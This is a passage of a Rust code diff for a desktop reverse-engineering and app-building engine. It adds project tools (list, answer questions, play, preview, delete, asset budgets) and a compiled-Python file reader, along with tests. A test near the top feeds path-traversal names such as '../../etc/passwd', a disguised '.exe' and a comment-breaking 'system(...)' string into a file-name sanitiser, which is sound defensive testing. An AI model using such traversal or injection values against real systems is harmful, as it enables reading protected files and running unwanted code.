(&json!("time_limit"), &json!(0))); + assert!(v["result"]["remaining"].as_u64().unwrap() > 0); + + // Cancelled mid-way: refused now, carried on later. + let token = crate::tool::CancelToken::default(); + token.cancel(); + let out = e.call("native_source_folder_write", json!({"folder": folder}), CallOptions::new(Caller::Mcp).with_cancel(token)); + assert!(out.is_err()); + let v = call(&e, "native_source_folder_write", json!({"folder": folder})); + assert_eq!(v["result"]["finished"], true); + } + + #[test] + fn export_file_names_are_safe_whatever_a_program_calls_things() { + for name in ["../../etc/passwd", "..\\..\\x", "a/b", "CON", "nul\0", "\u{202e}gnp.exe", "", "...", "名前", &"x".repeat(5000)] { + let f = export_file_name(0x1234, name); + assert!(f.starts_with("0000000000001234"), "{f}"); + assert!(f.ends_with(".c"), "{f}"); + assert!(f.len() < 96, "{f}"); + assert!(f.chars().all(|c| c.is_ascii_alphanumeric() || c == '_' || c == '.'), "{f}"); + assert_eq!(f.matches('.').count(), 1, "{f}"); + } + assert!(!comment_safe("a\nsystem(\"x\");\r\u{2028}").contains(['\n', '\r'])); + } +} diff --git a/desktop/crates/engine/src/tools/project_tools.rs b/desktop/crates/engine/src/tools/project_tools.rs new file mode 100644 index 0000000..59da332 --- /dev/null +++ b/desktop/crates/engine/src/tools/project_tools.rs @@ -0,0 +1,674 @@ +//! Projects (what the person is making) as tools, so every client — the app, the CLI, an MCP +//! agent — can list them, read one with its conversation, and answer its questions without the +//! app. Ids follow docs/tool-ids.md. + +use crate::feed; +use crate::inbox::{Answer, Inbox}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use crate::workspace::Workspace; +use craft_anything_evidence::{ErrorCode, ToolError}; +use craft_anything_platform::sync::Mutex; +use schemars::JsonSchema; +use serde::Deserialize; +use serde_json::{Value, json}; +use std::collections::HashMap; +use std::path::PathBuf; +use std::sync::{Arc, PoisonError}; + +/// Most feed items one call returns. +const MAX_ITEMS: usize = 200; + +pub fn specs() -> Vec { + vec![ + ToolSpec { + id: "project_list", + title: "List projects", + summary: "List the projects in every project folder from settings (where new projects go, then `project_folders`), or in one folder, newest first: name, folder, app folder, request, target, stack, status, the latest check and how many questions are waiting.", + beginner: "Shows everything you're making.", + toolset: Toolset::Projects, + effects: Effects::READ_ONLY, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_list, + }, + ToolSpec { + id: "project_show", + title: "Show a project", + summary: "One project: its request, target, stack, status, checks, questions still waiting for an answer, and its conversation (paged with offset/limit, newest last).", + beginner: "Shows one project and what happened in it.", + toolset: Toolset::Projects, + effects: Effects::READ_ONLY, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_show, + }, + ToolSpec { + id: "project_inbox_answer", + title: "Answer a project's question", + summary: "Answer a question or approval a project is waiting on (an id from project_show): a choice or text for questions, allow (and always) for approvals. The answer reaches a running build at once and is kept in the project's conversation.", + beginner: "Answers a question the builder asked you.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM.union(Effects::CHANGES_UI_STATE), + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_inbox_answer, + }, + ToolSpec { + id: "project_play", + title: "Play a project's result", + summary: "Start the finished game or app a project built (its program, a Unity or Unreal package, or a Godot project in Godot), in its own window. If it's already running, says so instead of starting a second copy, unless `another` is true. A start that quits within two seconds is reported with its exit code and last output. It runs the code the builder wrote, so it needs the person's consent. Websites use project_preview instead. Known limit on Windows: when the caller's output is a pipe, the started program inherits it, so a caller reading that output to its end waits until the program exits (#207).", + beginner: "Opens the game or app that was made.", + toolset: Toolset::Projects, + effects: Effects::LAUNCHES_PROCESS.union(Effects::EXECUTES_FOREIGN_CODE), + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_play, + }, + ToolSpec { + id: "project_preview", + title: "Preview a project's website", + summary: "Serve a project's built website on this computer only (loopback) and return its address. It keeps serving for this session; with `wait`, the call itself serves until it's cancelled (Ctrl+C in the CLI).", + beginner: "Shows the website that was made.", + toolset: Toolset::Projects, + effects: Effects::MUTATES_SESSION, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_preview, + }, + ToolSpec { + id: "project_open_folder", + title: "Open a project's folder", + summary: "Open the project's folder (or its app/ folder) in the file manager, or one of its pinned builds' folders.", + beginner: "Opens the project's files.", + toolset: Toolset::Projects, + effects: Effects::LAUNCHES_PROCESS, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_open_folder, + }, + ToolSpec { + id: "project_rename", + title: "Rename a project", + summary: "Give a project a new name (its folder stays where it is).", + beginner: "Renames something you're making.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_rename, + }, + ToolSpec { + id: "project_duplicate", + title: "Duplicate a project", + summary: "Copy a project beside it under a new name, to try something else from where it is: what was built, the pictures of the original and the study come along; the conversation, questions and usage don't, and neither do dependencies or compiler output (the next build makes them again). An app edited in place is copied into the copy's app/ folder.", + beginner: "Makes a copy to try something different.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_duplicate, + }, + ToolSpec { + id: "project_delete", + title: "Delete a project", + summary: "Delete a project: everything REI Reverse Engineer made in its folder (its records, checks, and what was built in app/). The person's own files stay (an app edited in place, the files a project started from). Can't be undone, so `confirm` must be true; stop a build first.", + beginner: "Deletes something you made. Your own files are kept.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_delete, + }, + ToolSpec { + id: "project_questions_set", + title: "Choose what the builder's questions get", + summary: "Choose whether the builder's questions (core_person_ask) in a project are shown to the person to answer (`ask`) or answered with \"decide yourself and say what you chose\" (`decide`); `default` follows the app's setting (`questions` in settings, which follows Auto mode until set). With no mode, says what applies now. Takes effect from the builder's next question, also mid-build.", + beginner: "Chooses whether the builder asks you or decides by itself.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_questions_set, + }, + ToolSpec { + id: "project_build_finish", + title: "Call the build done", + summary: "The person is happy with the build as it is (#210): its status becomes Ready and the conversation says they called it done, so a paused, stopped or failed build no longer offers to carry on. Everything so far is kept, and a new message carries on from here. It doesn't stop a build that is still running: pause it first.", + beginner: "Keeps the build as it is and stops offering to carry on.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_build_finish, + }, + ToolSpec { + id: "project_assets_budget", + title: "Set a project's asset budget", + summary: "Set what a project may spend on generated pictures and 3D models (US dollars), or read it with no amount. Shows what's been spent so far.", + beginner: "Changes how much a project may spend on generated art.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_assets_budget, + }, + ToolSpec { + id: "project_assets_allow", + title: "Let a project generate assets", + summary: "Turn on or off whether the builder may generate pictures and 3D models for a project (paid per asset from its asset budget, and only with an asset provider's key), or read it with no value. Off until the person turns it on.", + beginner: "Chooses whether your game may get generated pictures and 3D models.", + toolset: Toolset::Projects, + effects: Effects::WRITES_FILESYSTEM, + requires: Requires::Nothing, + input_schema: schema_of::, + run: project_assets_allow, + }, + ] +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct RenameParams { + /// The project's folder. + pub project: PathBuf, + /// Its new name. + pub name: String, +} + +fn project_rename(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: RenameParams = parse_params(params)?; + let mut ws = open(&p.project)?; + ws.rename(&p.name)?; + Ok(ToolOutput::Value(json!({"project": ws.root, "name": ws.manifest.name}))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DuplicateParams { + /// The project's folder. + pub project: PathBuf, + /// The copy's name (default: " copy"). + #[serde(default)] + pub name: Option, +} + +fn project_duplicate(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DuplicateParams = parse_params(params)?; + let ws = open(&p.project)?; + let name = p.name.filter(|n| !n.trim().is_empty()).unwrap_or_else(|| format!("{} copy", ws.manifest.name)); + let copy = ws.duplicate(&name)?; + Ok(ToolOutput::Value(json!({"project": copy.root, "name": copy.manifest.name}))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct DeleteParams { + /// The project's folder. + pub project: PathBuf, + /// Must be true: deleting can't be undone. + #[serde(default)] + pub confirm: bool, +} + +fn project_delete(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: DeleteParams = parse_params(params)?; + if !p.confirm { + return Err(ToolError::invalid("Deleting a project can't be undone.").with_remediation("Pass confirm: true to delete it.")); + } + let ws = open(&p.project)?; + let kept = ws.manifest.app_in_root || !ws.manifest.start_files.is_empty(); + ws.delete()?; + Ok(ToolOutput::Value(json!({"deleted": p.project, "your_files_kept": kept}))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct BudgetParams { + /// The project's folder. + pub project: PathBuf, + /// The new budget in US dollars (0 to 10 000); leave out to only read it. + #[serde(default)] + pub budget_usd: Option, +} + +fn project_assets_budget(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: BudgetParams = parse_params(params)?; + let mut ws = open(&p.project)?; + if let Some(b) = p.budget_usd { + if !b.is_finite() || !(0.0..=10_000.0).contains(&b) { + return Err(ToolError::invalid("budget_usd must be between 0 and 10000.")); + } + ws.set_person(|m| m.asset_budget_usd = b)?; + } + Ok(ToolOutput::Value(json!({"budget_usd": ws.manifest.asset_budget_usd, "spent_usd": ws.assets_spent()}))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AllowAssetsParams { + /// The project's folder. + pub project: PathBuf, + /// true lets the builder generate assets, false stops it; leave out to only read it. + #[serde(default)] + pub allow: Option, +} + +fn project_assets_allow(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AllowAssetsParams = parse_params(params)?; + let mut ws = open(&p.project)?; + if let Some(allow) = p.allow { + ws.set_person(|m| m.generate_assets = allow)?; + } + Ok(ToolOutput::Value(json!({"generate_assets": ws.manifest.generate_assets}))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ProjectParams { + /// The project's folder. + pub project: PathBuf, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PreviewParams { + /// The project's folder. + pub project: PathBuf, + /// Serve until the call is cancelled instead of returning at once (for the CLI). + #[serde(default)] + pub wait: bool, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct FolderParams { + /// The project's folder. + pub project: PathBuf, + /// Open the app/ folder (what was built) instead of the project folder. + #[serde(default)] + pub app: bool, + /// Open a pinned build's folder. + #[serde(default)] + pub pin: Option, +} + +/// Websites being previewed in this session, by project folder (kept serving until it ends). +#[derive(Default)] +struct Previews(Mutex>); + +/// What a project's questions should get. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Deserialize, JsonSchema)] +#[serde(rename_all = "snake_case")] +pub enum QuestionsChoice { + Ask, + Decide, + /// The app's setting. + Default, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct FinishParams { + /// The project's folder. + pub project: PathBuf, +} + +/// What the conversation and the project say when the person calls a build done. +pub const CALLED_DONE: &str = "Ready: you called it done. Everything so far is kept; a new message carries on from here."; + +fn project_build_finish(_ctx: &mut Ctx<'_>, params: Value) -> Result { + use crate::workspace::{Status, Step}; + let p: FinishParams = parse_params(params)?; + let mut ws = open(&p.project)?; + ws.set_status(Status::Ready, CALLED_DONE)?; + let mut items = feed::load(&ws); + items.push(feed::FeedItem::Step { step: Step::Done, text: CALLED_DONE.into() }); + feed::save(&ws.root, &items)?; + Ok(ToolOutput::Value(json!({"project": ws.root, "status": ws.manifest.status}))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct QuestionsParams { + /// The project's folder. + pub project: PathBuf, + /// `ask`, `decide` or `default`; none just reads what applies. + #[serde(default)] + pub mode: Option, +} + +fn project_questions_set(ctx: &mut Ctx<'_>, params: Value) -> Result { + use crate::workspace::Questions; + let p: QuestionsParams = parse_params(params)?; + let mut ws = open(&p.project)?; + if let Some(mode) = p.mode { + let chosen = match mode { + QuestionsChoice::Ask => Some(Questions::Ask), + QuestionsChoice::Decide => Some(Questions::Decide), + QuestionsChoice::Default => None, + }; + ws.set_person(|m| m.questions = chosen)?; + } + let settings = &ctx.session.settings; + Ok(ToolOutput::Value(json!({ + "project": ws.root, + "questions": settings.questions_in(Some(&ws.manifest)), + "chosen": ws.manifest.questions, + "app_default": settings.questions(), + }))) +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PlayParams { + /// The project's folder. + pub project: PathBuf, + /// Start another copy even if one is running. + #[serde(default)] + pub another: bool, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ListParams { + /// Only this folder (default: every project folder from settings). + #[serde(default)] + pub projects_dir: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ShowParams { + /// The project's folder. + pub project: PathBuf, + /// Skip this many conversation items from the start. + #[serde(default)] + pub offset: Option, + /// Return at most this many items (default and maximum 200; the newest when no offset). + #[serde(default)] + pub limit: Option, +} + +#[derive(Debug, Deserialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct AnswerParams { + /// The project's folder. + pub project: PathBuf, + /// The question's or approval's id. + pub id: String, + /// The chosen suggestion (questions). + #[serde(default)] + pub choice: Option, + /// A typed answer (questions), or a reason (approvals). + #[serde(default)] + pub text: Option, + /// Allow the action (approvals). + #[serde(default)] + pub allow: Option, + /// Allow this kind of action for the rest of the project (approvals). + #[serde(default)] + pub always: bool, +} + +fn open(project: &std::path::Path) -> Result { + Workspace::open(project).map_err(|e| { + let why = e.message.clone(); + ToolError::new(ErrorCode::NotFound, format!("{} isn't a project folder: {why}", project.display())) + .with_remediation("Pass a folder from project_list (it holds craft.json).") + }) +} + +fn summary(ws: &Workspace) -> Value { + let m = &ws.manifest; + json!({ + "name": m.name, + "folder": ws.root.display().to_string(), + "app_folder": ws.app_dir().display().to_string(), + "request": m.request, + "target": m.target, + "stack": m.stack, + "status": m.status, + "status_label": m.status.label(), + "note": m.note, + "updated_ms": m.updated_ms, + "last_check": m.checks.last(), + "waiting": Inbox::new(ws.inbox_dir()).pending().len(), + "usage": ws.usage(), + }) +} + +fn project_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListParams = parse_params(params)?; + let settings = &ctx.session.settings; + let locations = p.projects_dir.map_or_else(|| settings.project_locations(), |d| vec![d]); + let projects: Vec = Workspace::list_in(&locations).iter().map(summary).collect(); + Ok(ToolOutput::Value(json!({ + "projects_dir": settings.projects_dir().display().to_string(), + "locations": locations.iter().map(|l| l.display().to_string()).collect::>(), + "count": projects.len(), + "projects": projects, + }))) +} + +fn project_show(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ShowParams = parse_params(params)?; + let ws = open(&p.project)?; + let items = feed::load(&ws); + let limit = p.limit.unwrap_or(MAX_ITEMS).clamp(1, MAX_ITEMS); + let offset = p.offset.unwrap_or_else(|| items.len().saturating_sub(limit)).min(items.len()); + let page: Vec<&feed::FeedItem> = items.iter().skip(offset).take(limit).collect(); + let mut out = summary(&ws); + if let Some(o) = out.as_object_mut() { + o.insert("checks".into(), json!(ws.manifest.checks)); + o.insert("last_reply".into(), json!(ws.manifest.last_reply)); + o.insert("questions".into(), json!(Inbox::new(ws.inbox_dir()).pending())); + o.insert("conversation".into(), json!({"total": items.len(), "offset": offset, "items": page})); + } + Ok(ToolOutput::Value(out)) +} + +fn project_inbox_answer(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: AnswerParams = parse_params(params)?; + let ws = open(&p.project)?; + let inbox = Inbox::new(ws.inbox_dir()); + // Taken before it's answered: the session that asked may read and remove it right after. + let Some(question) = inbox.pending().into_iter().find(|r| r.id == p.id) else { + return Err(ToolError::new(ErrorCode::NotFound, format!("No question {} is waiting in this project.", p.id)) + .with_remediation("Use project_show to see the questions still waiting.")); + }; + let answer = Answer { choice: p.choice, text: p.text, allow: p.allow, always: p.always }; + let shown = match answer.allow { + Some(true) if answer.always => "Always allowed".to_string(), + Some(true) => "Allowed".to_string(), + Some(false) => "Not allowed".to_string(), + None => answer.as_text(), + }; + inbox.answer(&p.id, &answer)?; + // Into the saved conversation; a running build keeps answers it finds there when it saves. + if let Err(e) = feed::record_answer(&ws, &question, &shown) { + log::warn!("answer not added to the conversation: {}", e.message); + } + Ok(ToolOutput::Value(json!({"answered": p.id, "shown": shown}))) +} + +fn project_play(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PlayParams = parse_params(params)?; + let ws = open(&p.project)?; + let app = ws.app_dir(); + if crate::outputs::site_dir(&app).is_some() { + return Err(ToolError::new(ErrorCode::NotSupported, "This project made a website.").with_remediation("Use project_preview to see it.")); + } + let out = super::pin_tools::start(ctx, &app, &crate::pins::play_log(&ws), p.another, "the finished project")?; + Ok(ToolOutput::Value(out)) +} + +fn project_preview(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PreviewParams = parse_params(params)?; + let ws = open(&p.project)?; + let Some(site) = crate::outputs::site_dir(&ws.app_dir()) else { + return Err(ToolError::new(ErrorCode::NotFound, "There's no built website in this project yet.") + .with_remediation("Finish a build first (rebuild); a game or app is started with project_play.")); + }; + let previews = match ctx.session.ext.get::() { + Some(p) => p, + None => { + let p = Arc::new(Previews::default()); + ctx.session.ext.insert(p.clone()); + p + } + }; + let url = { + let mut map = previews.0.lock().unwrap_or_else(PoisonError::into_inner); + if let Some(server) = map.get(&ws.root) { + server.url() + } else { + let server = craft_anything_platform::serve::serve_dir(&site).map_err(|e| ToolError::io(site.display(), e))?; + let url = server.url(); + map.insert(ws.root.clone(), server); + url + } + }; + if p.wait { + ctx.report(None, format!("Serving {url} (stop to end)")); + while !ctx.cancel.is_cancelled() { + std::thread::sleep(std::time::Duration::from_millis(200)); + } + previews.0.lock().unwrap_or_else(PoisonError::into_inner).remove(&ws.root); + } + Ok(ToolOutput::Value(json!({"url": url, "site": site.display().to_string()}))) +} + +fn project_open_folder(_ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: FolderParams = parse_params(params)?; + let ws = open(&p.project)?; + let dir = folder_to_open(&ws, p.app, p.pin)?; + craft_anything_platform::open_path(&dir)?; + Ok(ToolOutput::Value(json!({"opened": dir.display().to_string()}))) +} + +/// The folder `project_open_folder` opens: the project, its app, or a pinned build's copy. +fn folder_to_open(ws: &Workspace, app: bool, pin: Option) -> Result { + Ok(match (pin, app) { + (Some(id), app) => { + let pin = crate::pins::get(ws, id)?; + if app { pin.app_dir(ws) } else { pin.dir(ws) } + } + (None, true) => ws.app_dir(), + (None, false) => ws.root.clone(), + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::inbox::RequestKind; + use crate::workspace::TargetRef; + use crate::{CallOptions, Caller, Engine}; + + /// #210: "enough now". A paused build becomes Ready, says so in its conversation, and keeps + /// everything it had. + #[test] + fn a_build_called_done_is_ready_and_says_so() { + use crate::workspace::{Status, Step}; + let d = tempfile::tempdir().unwrap(); + let mut ws = Workspace::create(d.path(), "Site", "A website", TargetRef::None).unwrap(); + ws.set_status(Status::Stopped, "Paused.").unwrap(); + let e = Engine::new(crate::testing::session()); + let r = e.call("project_build_finish", json!({"project": ws.root}), CallOptions::new(Caller::Cli)).unwrap().to_json(); + assert_eq!(r["result"]["status"], "ready", "{r}"); + let ws = Workspace::open(&ws.root).unwrap(); + assert_eq!((ws.manifest.status, ws.manifest.note.as_str()), (Status::Ready, CALLED_DONE)); + let items = feed::load(&ws); + assert!( + matches!(items.as_slice(), [feed::FeedItem::User(a), feed::FeedItem::Step { step: Step::Done, text }] if a == "A website" && text == CALLED_DONE), + "{items:?}" + ); + let err = e.call("project_build_finish", json!({"project": d.path().join("nope")}), CallOptions::new(Caller::Cli)).unwrap_err(); + assert!(err.message.contains("isn't a project folder"), "{err:?}"); + } + + #[test] + fn list_show_and_answer_a_project_without_the_app() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Snake", "A snake game", TargetRef::None).unwrap(); + let q = Inbox::new(ws.inbox_dir()).post(RequestKind::Question, "Blue or red?", "", vec!["Blue".into(), "Red".into()], true, None).unwrap(); + let e = Engine::new(crate::testing::session()); + let call = |id: &str, p: Value| e.call(id, p, CallOptions::new(Caller::Cli)).map(|o| o.to_json()["result"].clone()); + + let list = call("project_list", json!({"projects_dir": d.path()})).unwrap(); + assert_eq!(list["count"], 1); + assert_eq!(list["projects"][0]["name"], "Snake"); + assert_eq!(list["projects"][0]["waiting"], 1); + + let show = call("project_show", json!({"project": ws.root})).unwrap(); + assert_eq!(show["questions"][0]["id"], q.as_str()); + assert_eq!(show["conversation"]["items"][0]["User"], "A snake game"); + + let r = call("project_inbox_answer", json!({"project": ws.root, "id": q, "choice": "Blue"})).unwrap(); + assert_eq!(r["shown"], "Blue"); + assert!(Inbox::new(ws.inbox_dir()).pending().is_empty(), "answered"); + let again = call("project_inbox_answer", json!({"project": ws.root, "id": q, "choice": "Red"})); + assert!(again.is_err(), "a question is answered once"); + assert!(call("project_show", json!({"project": d.path().join("nope")})).is_err()); + } + + #[test] + fn a_projects_asset_budget_is_read_and_set() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Game", "A game", TargetRef::None).unwrap(); + let e = Engine::new(crate::testing::session()); + let call = |p: Value| e.call("project_assets_budget", p, CallOptions::new(Caller::Cli)).map(|o| o.to_json()["result"].clone()); + assert_eq!(call(json!({"project": ws.root})).unwrap()["budget_usd"], 5.0); + assert_eq!(call(json!({"project": ws.root, "budget_usd": 12.5})).unwrap()["budget_usd"], 12.5); + assert_eq!(Workspace::open(&ws.root).unwrap().manifest.asset_budget_usd, 12.5); + assert!(call(json!({"project": ws.root, "budget_usd": -1})).is_err()); + } + + #[test] + fn a_project_generates_assets_only_once_allowed() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Game", "A game", TargetRef::None).unwrap(); + let e = Engine::new(crate::testing::session()); + let call = |p: Value| e.call("project_assets_allow", p, CallOptions::new(Caller::Cli)).map(|o| o.to_json()["result"].clone()); + assert_eq!(call(json!({"project": ws.root})).unwrap()["generate_assets"], false, "off until the person turns it on"); + assert_eq!(call(json!({"project": ws.root, "allow": true})).unwrap()["generate_assets"], true); + assert!(Workspace::open(&ws.root).unwrap().manifest.generate_assets, "saved with the project"); + assert_eq!(call(json!({"project": ws.root, "allow": false})).unwrap()["generate_assets"], false); + assert!(call(json!({"project": ws.root, "allow": "yes"})).is_err()); + } + + #[test] + fn a_built_site_is_previewed_and_nothing_to_play_says_so() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Site", "A page", TargetRef::None).unwrap(); + let e = Engine::new(crate::testing::session()); + let granted = || CallOptions::new(Caller::Cli).with_consent(crate::Consent::Granted); + let call = |id: &str, p: Value| e.call(id, p, granted()).map(|o| o.to_json()["result"].clone()); + assert!(call("project_preview", json!({"project": ws.root})).is_err(), "nothing built yet"); + assert!(call("project_play", json!({"project": ws.root})).is_err(), "nothing to start yet"); + std::fs::create_dir_all(ws.app_dir().join("dist")).unwrap(); + std::fs::write(ws.app_dir().join("dist").join("index.html"), b"

hi

").unwrap(); + let first = call("project_preview", json!({"project": ws.root})).unwrap(); + let url = first["url"].as_str().unwrap().to_string(); + assert!(url.starts_with("http://127.0.0.1:"), "{url}"); + assert_eq!(call("project_preview", json!({"project": ws.root})).unwrap()["url"], url.as_str(), "one server per project"); + let err = call("project_play", json!({"project": ws.root})).unwrap_err(); + assert!(err.remediation.unwrap_or_default().contains("project_preview")); + // Playing runs the builder's code: refused without consent. + assert!(e.call("project_play", json!({"project": ws.root}), CallOptions::new(Caller::Mcp)).is_err()); + } + + #[test] + fn a_pinned_builds_folder_is_opened_from_its_project() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "Snake", "A snake game", TargetRef::None).unwrap(); + let pin = ws.root.join(crate::pins::PINNED).join("7"); + std::fs::create_dir_all(pin.join("app")).unwrap(); + std::fs::write(pin.join(crate::pins::PIN_FILE), r#"{"version":1,"id":7,"name":"Pinned","mode":"frozen","created_ms":0}"#).unwrap(); + assert_eq!(folder_to_open(&ws, false, Some(7)).unwrap(), pin); + assert_eq!(folder_to_open(&ws, true, Some(7)).unwrap(), pin.join("app")); + assert_eq!(folder_to_open(&ws, false, None).unwrap(), ws.root); + assert_eq!(folder_to_open(&ws, true, None).unwrap(), ws.app_dir()); + assert!(folder_to_open(&ws, false, Some(8)).is_err(), "no such pin"); + } +} diff --git a/desktop/crates/engine/src/tools/python_tools.rs b/desktop/crates/engine/src/tools/python_tools.rs new file mode 100644 index 0000000..c5f6d4d --- /dev/null +++ b/desktop/crates/engine/src/tools/python_tools.rs @@ -0,0 +1,274 @@ +//! Compiled Python files: which Python made them, how they tie to their source, and the functions, +//! names and text inside. Nothing is executed and no bytecode is decoded. + +use super::native_common::{DEFAULT_LIMIT, page, params_json, spec}; +use super::static_input::{self, builder, format_err}; +use crate::tool::{Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Authority, Confidence, Coverage, Limitation, Location, ToolError}; +use craft_anything_formats::pyc::{self, CodeRead, PycFile}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; + +pub fn specs() -> Vec { + vec![spec( + "formats_bytecode_show", + "Compiled Python file", + "Read a CPython compiled file (.pyc): the Python version from its magic number, how it ties to its source (modification time and size, or a source hash), and, for Python 3.8 to 3.14, its compiled code: each module, class and function with its name, dotted name, source file, first line, argument counts, the names it uses and the text among its constants, paged with offset/limit, parents before children. Other versions report the header and say why. python_version reads a file of bare marshalled code, such as a script taken out of a PyInstaller program. Built-in; nothing is executed and bytecode isn't decoded.", + "See what a compiled Python file holds: which Python made it, and its functions and text.", + Toolset::Formats, + Effects::EVIDENCE | Effects::CARRIES_TARGET_CONTENT, + Requires::Nothing, + schema_of::, + formats_bytecode_show, + )] +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct PycParams { + /// Absolute path of the file; the active target when omitted. + #[serde(default)] + pub path: Option, + /// Treat the file as bare marshalled code with no header, compiled by this Python ("3.12"). + #[serde(default)] + pub python_version: Option, + #[serde(default)] + pub offset: usize, + #[serde(default = "default_limit")] + pub limit: usize, +} + +fn default_limit() -> usize { + DEFAULT_LIMIT +} + +/// Read bare marshalled code as the named Python would have written it. +fn read_bare(bytes: &[u8], version: &str) -> Result { + let known = || pyc::RELEASES.iter().filter(|r| r.layout.is_some()).map(|r| r.version).collect::>().join(", "); + let release = pyc::release_named(version) + .filter(|r| r.layout.is_some()) + .ok_or_else(|| ToolError::invalid(format!("We can't read code from Python {version:?}")).with_remediation(format!("Use one of: {}.", known())))?; + pyc::read_pyc(&pyc::wrap_marshal(release.last, bytes)).map_err(|e| format_err(e, "compiled Python")) +} + +fn formats_bytecode_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: PycParams = parse_params(params)?; + let input = static_input::load(ctx, p.path.as_deref(), static_input::DEFAULT_MAX_BYTES)?; + ctx.report(None, format!("Reading {} as compiled Python", input.name)); + let file = match p.python_version.as_deref() { + Some(version) => read_bare(&input.bytes, version)?, + None => pyc::read_pyc(&input.bytes).map_err(|e| format_err(e, "compiled Python"))?, + }; + ctx.cancel.check()?; + + let mut lims = + vec![Limitation::new("bytecode_not_decoded", "Bytecode isn't decoded: this shows what functions exist and what they name, not what they do.")]; + if let Some(why) = &file.code_missing { + lims.push(Limitation::new("header_only", why.clone())); + } + if file.code.as_ref().is_some_and(|c| c.cut_short) { + lims.push(Limitation::new("code_cut_short", "A limit stopped the walk through the code objects, so some names, text or functions are missing.")); + } + if p.python_version.is_some() { + lims.push(Limitation::new("version_given", "The file has no header, so the Python version is the one you gave, not one it states.")); + } + let version = file.header.version.map_or_else(|| format!("an unknown Python (magic number {})", file.header.magic), |v| format!("Python {v}")); + + let flat = file.code.as_ref().map(|c: &CodeRead| pyc::flatten(&c.root)).unwrap_or_default(); + let (functions, coverage) = match &file.code { + Some(_) => page(&flat, p.offset, p.limit), + None => (Vec::new(), Coverage::complete(1)), + }; + let summary = match &file.code { + Some(c) => format!("Compiled by {version}: {} code object(s) from {:?}, {} shown.", flat.len(), c.root.filename, functions.len()), + None => format!("Compiled by {version}; header only."), + }; + let confidence = match (&file.code, file.header.version) { + (Some(_), _) | (None, Some(_)) => Confidence::Observed, + (None, None) => Confidence::Inferred, + }; + let ev = builder(ctx, "formats_bytecode_show", input.subject.clone(), params_json(&p)) + .result(json!({ + "path": input.path, + "file_size": input.bytes.len(), + "header": file.header, + "code_available": file.code.is_some(), + "total_code_objects": flat.len(), + "code_objects": functions, + })) + .summary(summary) + .confidence(confidence) + .authority(Authority::OriginalFiles) + .limitations(lims) + .coverage(coverage) + .location(Location::new("path", input.path.display().to_string())) + .build()?; + Ok(ToolOutput::Evidence(Box::new(ev))) +} + +#[cfg(test)] +mod tests { + use super::super::native_common::test_support::{call, call_err}; + use crate::Engine; + use craft_anything_formats::pyc; + use craft_anything_testkit::packed::{self as kit, code_38, code_311}; + use 